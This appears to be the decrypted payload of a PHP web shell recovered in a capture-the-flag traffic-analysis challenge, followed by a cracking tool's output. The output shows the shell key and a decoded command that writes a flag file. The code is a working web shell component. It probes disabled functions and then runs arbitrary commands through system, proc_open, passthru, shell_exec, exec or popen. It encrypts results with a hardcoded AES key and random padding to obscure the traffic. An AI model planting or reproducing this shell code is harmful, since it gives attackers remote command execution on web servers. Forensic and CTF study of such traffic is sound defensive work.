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| @error_reporting(0);
function getSafeStr($str){ $s1 = iconv('utf-8','gbk//IGNORE',$str); $s0 = iconv('gbk','utf-8//IGNORE',$s1); if($s0 == $str){ return $s0; }else{ return iconv('gbk','utf-8//IGNORE',$str); } } function main($cmd,$path) { @set_time_limit(0); @ignore_user_abort(1); @ini_set('max_execution_time', 0); $result = array(); $PadtJn = @ini_get('disable_functions'); if (! empty($PadtJn)) { $PadtJn = preg_replace('/[, ]+/', ',', $PadtJn); $PadtJn = explode(',', $PadtJn); $PadtJn = array_map('trim', $PadtJn); } else { $PadtJn = array(); } $c = $cmd; if (FALSE !== strpos(strtolower(PHP_OS), 'win')) { $c = $c . " 2>&1\n"; } $JueQDBH = 'is_callable'; $Bvce = 'in_array'; if ($JueQDBH('system') and ! $Bvce('system', $PadtJn)) { ob_start(); system($c); $kWJW = ob_get_contents(); ob_end_clean(); } else if ($JueQDBH('proc_open') and ! $Bvce('proc_open', $PadtJn)) { $handle = proc_open($c, array( array( 'pipe', 'r' ), array( 'pipe', 'w' ), array( 'pipe', 'w' ) ), $pipes); $kWJW = NULL; while (! feof($pipes[1])) { $kWJW .= fread($pipes[1], 1024); } @proc_close($handle); } else if ($JueQDBH('passthru') and ! $Bvce('passthru', $PadtJn)) { ob_start(); passthru($c); $kWJW = ob_get_contents(); ob_end_clean(); } else if ($JueQDBH('shell_exec') and ! $Bvce('shell_exec', $PadtJn)) { $kWJW = shell_exec($c); } else if ($JueQDBH('exec') and ! $Bvce('exec', $PadtJn)) { $kWJW = array(); exec($c, $kWJW); $kWJW = join(chr(10), $kWJW) . chr(10); } else if ($JueQDBH('exec') and ! $Bvce('popen', $PadtJn)) { $fp = popen($c, 'r'); $kWJW = NULL; if (is_resource($fp)) { while (! feof($fp)) { $kWJW .= fread($fp, 1024); } } @pclose($fp); } else { $kWJW = 0; $result["status"] = base64_encode("fail"); $result["msg"] = base64_encode("none of proc_open/passthru/shell_exec/exec/exec is available"); $key = $_SESSION['k']; echo encrypt(json_encode($result)); return; } $result["status"] = base64_encode("success"); $result["msg"] = base64_encode(getSafeStr($kWJW)); echo encrypt(json_encode($result)); }
function Encrypt($data) { $key="fb59891768280222"; $encrypted=base64_encode(openssl_encrypt($data, "AES-128-ECB", $key,OPENSSL_PKCS1_PADDING)); $magicNum=hexdec(substr($key,0,2))%16; for($i=0;$i<$magicNum;$i++) { $encrypted=$encrypted.chr(mt_rand(0, 255)); } return $encrypted; } $cmd="Y2QgL3Zhci93d3cvaHRtbC9zenpnLyA7ZWNobyBmbGFnezQwNGM2MDFhOGNhOWQ0NGQ1ODZmN2I5M2JhMjM2YjEyfSA+IGZsYWc=";$cmd=base64_decode($cmd);$path="L3Zhci93d3cvaHRtbC9zenpnLw==";$path=base64_decode($path); main($cmd,$path); [*] Crack Success!!! [*] Key: hunting [*] Webshell Key: fb59891768280222 [*] Payload: cd /var/www/html/szzg/ ;echo flag{404c601a8ca9d44d586f7b93ba236b12} > flag
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